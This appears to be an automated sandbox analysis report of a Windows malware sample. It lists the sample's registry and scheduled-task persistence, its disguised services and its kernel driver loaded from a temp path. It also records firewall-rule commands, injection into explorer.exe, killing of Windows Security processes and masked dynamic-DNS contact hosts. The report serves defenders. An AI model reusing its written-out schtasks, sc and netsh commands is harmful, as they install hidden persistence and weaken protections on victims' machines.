Technical Information
To ensure autorun and distribution
Modifies the following registry keys
- [HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\winlogon] 'Userinit' = '<SYSTEM32>\userinit.exe,%WINDIR%\INF\.NETFramework\CORPerfMonSymbols.exe'
Creates or modifies the following files
- <SYSTEM32>\tasks\launch adobe ccxprocess
- <SYSTEM32>\tasks\xccprocess
- <SYSTEM32>\tasks\microsoft\windows\windows update listner
- <SYSTEM32>\tasks\microsoft\microsoft launcher
Sets the following service settings
- [HKLM\SYSTEM\CurrentControlSet\Services\System Diagnostics Host] 'Start' = '00000002'
- [HKLM\SYSTEM\CurrentControlSet\Services\System Diagnostics Host] 'ImagePath' = '%WINDIR%\SysWOW64\SystemDiagnosticsHost.exe'
- [HKLM\SYSTEM\CurrentControlSet\Services\aswArPot.sys] 'ImagePath' = '%WINDIR%\temp\aswArPot.bin'
Creates the following services
- 'System Diagnostics Host' %WINDIR%\SysWOW64\SystemDiagnosticsHost.exe
- 'aswArPot.sys' %WINDIR%\temp\aswArPot.bin
Malicious functions
Executes the following
- '<SYSTEM32>\netsh.exe' advfirewall firewall add rule name="XCCProcess" dir=in action=allow program="%WINDIR%\Media\mppr.exe" enable=yes
Launches a large number of processes
Injects code into
the following system processes:
- %WINDIR%\explorer.exe
Terminates or attempts to terminate
the following system processes:
- <SYSTEM32>\securityhealthsystray.exe
- <SYSTEM32>\securityhealthservice.exe
Modifies file system
Creates the following files
- %TEMP%\tmp5877.tmp.exe
- %LOCALAPPDATA%\microsoft\clr_v4.0\usagelogs\<File name>.exe.log
- %WINDIR%\media\mppr.exe
- %WINDIR%\inputmethod\shared\rc_connectedaccount.exe
- %TEMP%\xldgupf1\xldgupf1.0.cs
- %TEMP%\xldgupf1\xldgupf1.cmdline
- %TEMP%\xldgupf1\xldgupf1.out
- %TEMP%\csca11a73a915ce48caa3f69328478dabe.tmp
- %TEMP%\res8803.tmp
- %TEMP%\tmp8534.tmp
- %WINDIR%\inf\.netframework\corperfmonsymbols.exe
- %TEMP%\fi1r5mib\fi1r5mib.0.cs
- %TEMP%\fi1r5mib\fi1r5mib.cmdline
- %TEMP%\fi1r5mib\fi1r5mib.out
- %TEMP%\csc77dcd1ed12764dc88c4f7634fe5948f4.tmp
- %TEMP%\res8beb.tmp
- %TEMP%\tmp894c.tmp
- %WINDIR%\inf\usbhub\usbperfsym.exe
- %WINDIR%\syswow64\systemdiagnosticshost.exe
- %WINDIR%\media\msldriver.dll
- %WINDIR%\temp\aswarpot.bin
- C:\recovery\oem\resetconfig.xml
- C:\recovery\oem\6d93221a-4bfa-4663-a1d4-005d5789872d.bat
- C:\recovery\oem\d57315f5-01cd-4b5d-813d-dbada20c89df.exe
- %TEMP%\21o5rnbe.lgo.bat
- nul
- %LOCALAPPDATA%\microsoft\clr_v4.0\usagelogs\tmp5877.tmp.exe.log
- %WINDIR%\temp\tmp42c7.tmp
- %WINDIR%\temp\tmp4f6b.tmp
- %TEMP%\tmp93d5.tmp
- %TEMP%\tmp9425.tmp
Sets the 'hidden' attribute to the following files
- %WINDIR%\media\mppr.exe
- %WINDIR%\inputmethod\shared\rc_connectedaccount.exe
- %WINDIR%\inf\.netframework\corperfmonsymbols.exe
- %WINDIR%\inf\usbhub\usbperfsym.exe
- %WINDIR%\syswow64\systemdiagnosticshost.exe
- %WINDIR%\media\msldriver.dll
Deletes following files that it created itself
- %TEMP%\res8803.tmp
- %TEMP%\csca11a73a915ce48caa3f69328478dabe.tmp
- %TEMP%\xldgupf1\xldgupf1.0.cs
- %TEMP%\xldgupf1\xldgupf1.out
- %TEMP%\xldgupf1\xldgupf1.cmdline
- %TEMP%\tmp8534.tmp
- %TEMP%\res8beb.tmp
- %TEMP%\csc77dcd1ed12764dc88c4f7634fe5948f4.tmp
- %TEMP%\fi1r5mib\fi1r5mib.0.cs
- %TEMP%\fi1r5mib\fi1r5mib.cmdline
- %TEMP%\fi1r5mib\fi1r5mib.out
- %TEMP%\tmp894c.tmp
- %WINDIR%\temp\tmp42c7.tmp
- %WINDIR%\temp\tmp4f6b.tmp
- %TEMP%\tmp93d5.tmp
- %TEMP%\tmp9425.tmp
Network activity
Connects to
- 'co##############e-chains.prod.autograph.services.mozaws.net':443
- 'vv######jnj25i5.hopto.org':443
TCP
Other
- 'vv######jnj25i5.hopto.org':443
UDP
- DNS ASK co##############e-chains.prod.autograph.services.mozaws.net
- DNS ASK 2q#######wl4qe1.ddnsking.com
- DNS ASK 2q####fskf22qe1.top
- DNS ASK 2y#######fl2qlo.ddnsking.com
- DNS ASK ty######ht82qlo.webhop.me
- DNS ASK 0a######jtwkq21.hopto.org
- DNS ASK 2q#######wl4qe1.3utilities.com
- DNS ASK vq#######zqtqe1.ddnsking.com
- DNS ASK 7n#######yweo91.ddnsking.com
- DNS ASK vv######jnj25i5.myftp.org
- DNS ASK kq#######tph2l9.ddnsking.com
- DNS ASK vv####wwgyuigi2.cc
- DNS ASK vv######jnj25i5.hopto.org
- DNS ASK 2n#######4l2o91.bounceme.net
- DNS ASK vv#######yuigi2.3utilities.com
- DNS ASK 2n####9uqywio91.top
- DNS ASK z8######pxt19zq.webhop.me
- DNS ASK 7n####9tqyweo91.cc
- DNS ASK 8j######wi6ns92.hopto.org
- DNS ASK xq######qtwe81v.myftp.org
- DNS ASK mq######9dlqt91.gotdns.ch
- DNS ASK 2n######k4l2o91.hopto.org
- DNS ASK z8########t19zq.freedynamicdns.org
- DNS ASK vq#######zqtqe1.bounceme.net
- DNS ASK kq####j2qtph2l9.cc
- DNS ASK 2q######kf22qe1.gotdns.ch
- DNS ASK kq######qtph2l9.hopto.org
- DNS ASK 7n####9tqyweo91.top
- DNS ASK 7x######tn5sjr3.webhop.me
- DNS ASK vv########uigi2.freedynamicdns.org
- DNS ASK q9#######t9qh4v.bounceme.net
- DNS ASK q9######qt9qh4v.gotdns.ch
- DNS ASK kq#######tph2l9.bounceme.net
- DNS ASK vq####fqnzqtqe1.top
- DNS ASK ww######gyui3s1.webhop.me
- DNS ASK ty####fqht82qlo.top
- DNS ASK mq#######dlqt91.bounceme.net
- DNS ASK 2y######ht8iqlo.gotdns.ch
- DNS ASK kq####j2qtph2l9.top
- DNS ASK 2q######kf22qe1.webhop.me
- DNS ASK 8j######wi6ns92.gotdns.ch
- DNS ASK 29######qt9ih4v.webhop.me
- DNS ASK 2y########l2qlo.freedynamicdns.org
- DNS ASK ty####fqht82qlo.cc
Miscellaneous
Searches for the following windows
- ClassName: 'MouseZ' WindowName: 'Magellan MSWHEEL'
Creates and executes the following
- '%TEMP%\tmp5877.tmp.exe'
- '%WINDIR%\syswow64\systemdiagnosticshost.exe'
- '%WINDIR%\media\mppr.exe'
Executes the following
- '%WINDIR%\microsoft.net\framework64\v4.0.30319\csc.exe' /noconfig /fullpaths @"%TEMP%\xldgupf1\xldgupf1.cmdline"
- '%WINDIR%\microsoft.net\framework64\v4.0.30319\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES8803.tmp" "%TEMP%\CSCA11A73A915CE48CAA3F69328478DABE.TMP"
- '%WINDIR%\microsoft.net\framework64\v4.0.30319\csc.exe' /noconfig /fullpaths @"%TEMP%\fi1r5mib\fi1r5mib.cmdline"
- '%WINDIR%\microsoft.net\framework64\v4.0.30319\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES8BEB.tmp" "%TEMP%\CSC77DCD1ED12764DC88C4F7634FE5948F4.TMP"
- '<SYSTEM32>\cmd.exe' /c schtasks /create /f /rl highest /tn "Launch Adobe CCXProcess" /tr "%WINDIR%\Media\mppr.exe" /sc onlogon & exit
- '<SYSTEM32>\schtasks.exe' /create /f /rl highest /tn "Launch Adobe CCXProcess" /tr "%WINDIR%\Media\mppr.exe" /sc onlogon
- '<SYSTEM32>\cmd.exe' /c schtasks /create /f /rl highest /tn "XCCProcess" /tr "%WINDIR%\INF\usbhub\usbperfsym.exe" /sc onlogon & exit
- '<SYSTEM32>\schtasks.exe' /create /f /rl highest /tn "XCCProcess" /tr "%WINDIR%\INF\usbhub\usbperfsym.exe" /sc onlogon
- '<SYSTEM32>\cmd.exe' /c schtasks /create /f /sc minute /rl highest /mo 2 /tn "Microsoft\Windows\Windows Update Listner" /tr "%WINDIR%\Media\mppr.exe" & exit
- '<SYSTEM32>\schtasks.exe' /create /f /sc minute /rl highest /mo 2 /tn "Microsoft\Windows\Windows Update Listner" /tr "%WINDIR%\Media\mppr.exe"
- '<SYSTEM32>\cmd.exe' /c schtasks /create /f /sc minute /rl highest /mo 5 /tn "Microsoft\Microsoft Launcher" /tr "%WINDIR%\InputMethod\SHARED\RC_ConnectedAccount.exe" & exit
- '<SYSTEM32>\schtasks.exe' /create /f /sc minute /rl highest /mo 5 /tn "Microsoft\Microsoft Launcher" /tr "%WINDIR%\InputMethod\SHARED\RC_ConnectedAccount.exe"
- '<SYSTEM32>\cmd.exe' /c sc query "System Diagnostics Host" & exit
- '<SYSTEM32>\sc.exe' query "System Diagnostics Host"
- '<SYSTEM32>\cmd.exe' /c sc create "System Diagnostics Host" binPath= "%WINDIR%\SysWOW64\SystemDiagnosticsHost.exe" obj= "LocalSystem" start= auto & exit
- '<SYSTEM32>\sc.exe' create "System Diagnostics Host" binPath= "%WINDIR%\SysWOW64\SystemDiagnosticsHost.exe" obj= "LocalSystem" start= auto
- '<SYSTEM32>\cmd.exe' /c sc description "System Diagnostics Host" "Monitors and manages system diagnostic tasks." & exit
- '<SYSTEM32>\sc.exe' description "System Diagnostics Host" "Monitors and manages system diagnostic tasks."
- '<SYSTEM32>\cmd.exe' /c sc start "System Diagnostics Host" & exit
- '<SYSTEM32>\sc.exe' start "System Diagnostics Host"
- '<SYSTEM32>\cmd.exe' /c netsh advfirewall firewall show rule name="XCCProcess" & exit
- '<SYSTEM32>\netsh.exe' advfirewall firewall show rule name="XCCProcess"
- '<SYSTEM32>\cmd.exe' /c netsh advfirewall firewall add rule name="XCCProcess" dir=in action=allow program="%WINDIR%\Media\mppr.exe" enable=yes & exit
- '<SYSTEM32>\cmd.exe' /c sc.exe create aswArPot.sys binPath= %WINDIR%\temp\aswArPot.bin type= kernel & exit
- '<SYSTEM32>\sc.exe' create aswArPot.sys binPath= %WINDIR%\temp\aswArPot.bin type= kernel
- '<SYSTEM32>\cmd.exe' /c sc.exe start aswArPot.sys & exit
- '<SYSTEM32>\sc.exe' start aswArPot.sys
- '<SYSTEM32>\cmd.exe' /c ""%TEMP%\21o5rnbe.lgo.bat""
- '<SYSTEM32>\timeout.exe' 8
- '<SYSTEM32>\securityhealthservice.exe'
- '%WINDIR%\microsoft.net\framework64\v4.0.30319\csc.exe' /noconfig /fullpaths @"%TEMP%\xldgupf1\xldgupf1.cmdline"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v4.0.30319\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES8803.tmp" "%TEMP%\CSCA11A73A915CE48CAA3F69328478DABE.TMP"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v4.0.30319\csc.exe' /noconfig /fullpaths @"%TEMP%\fi1r5mib\fi1r5mib.cmdline"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v4.0.30319\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES8BEB.tmp" "%TEMP%\CSC77DCD1ED12764DC88C4F7634FE5948F4.TMP"' (with hidden window)
